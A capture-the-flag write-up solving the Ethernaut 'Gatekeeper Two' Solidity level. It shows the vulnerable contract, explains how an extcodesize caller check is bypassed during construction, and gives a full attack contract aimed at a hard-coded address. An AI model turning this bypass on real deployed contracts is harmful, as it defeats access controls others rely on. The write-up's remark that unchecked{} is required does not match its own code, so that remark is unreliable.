> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/gatekeeper-two.md).

# Gatekeeper Two

## Description

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.

Things that might help:

* Remember what you've learned from getting past the first gatekeeper - the first gate is the same.
* The `assembly` keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See [here](http://solidity.readthedocs.io/en/v0.4.23/assembly.html) for more information. The `extcodesize` call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the [yellow paper](https://ethereum.github.io/yellowpaper/paper.pdf).
* The `^` character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see [here](http://solidity.readthedocs.io/en/v0.4.23/miscellaneous.html#cheatsheet)). The Coin Flip level is also a good place to start when approaching this challenge.

## Background Knowledge

<https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/extcodesize-checks/>

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
```

Again, we are given three "gates" as modifiers and we should pass all these modifier to complete this level.

## Solution

### gateOne

```solidity
require(msg.sender != tx.origin);
```

The `msg.sender` will be the solution contract and `tx.origin` will be our EOA adderss.

### gateTwo

```solidity
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
```

The caller contract must have code size 0. This check is often used as **EOA check**: if `extcodesize(caller())` is 0, then the caller is EOA; otherwise, the caller is a contract. Here we are going to show that this check is not sufficient.

Here is the attack:

<https://solidity-by-example.org/hacks/contract-size/>

The idea is that `extcodesize()` returns 0 during the construction phase. If we put all the code in constructor, then this check will be bypassed.

### gateThree

```solidity
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
```

To find out `_gateKey`, we need to compute:

```solidity
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max)
```

This is because of the property of XOR: `x ^ y = z` then `y = x ^ z`. Note that `msg.sender` should be the address of our solution contract. So in the exp, `msg.sender` becomes `address(this)`:

```solidity
uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max
```

### Solution

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperTwo {
    function enter(bytes8 _gateKey) external returns(bool);
}

contract attack {

    constructor() {
        IGatekeeperTwo target = IGatekeeperTwo(0x8c080F851d6aa4A885fDcfAAC3e13d55FA4BbBa1);

        bytes8 key;
        key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);

        target.enter(key);
    }
}
```

Note that `unchecked{}` is required.

## Summary

Way to go! Now that you can get past the gatekeeper, you have what it takes to join [theCyber](https://etherscan.io/address/thecyber.eth#code), a decentralized club on the Ethereum mainnet. Get a passphrase by contacting the creator on [reddit](https://www.reddit.com/user/0age) or via [email](mailto:0age@protonmail.com) and use it to register with the contract at [gatekeepertwo.thecyber.eth](https://etherscan.io/address/gatekeepertwo.thecyber.eth#code) (be aware that only the first 128 entrants will be accepted by the contract).
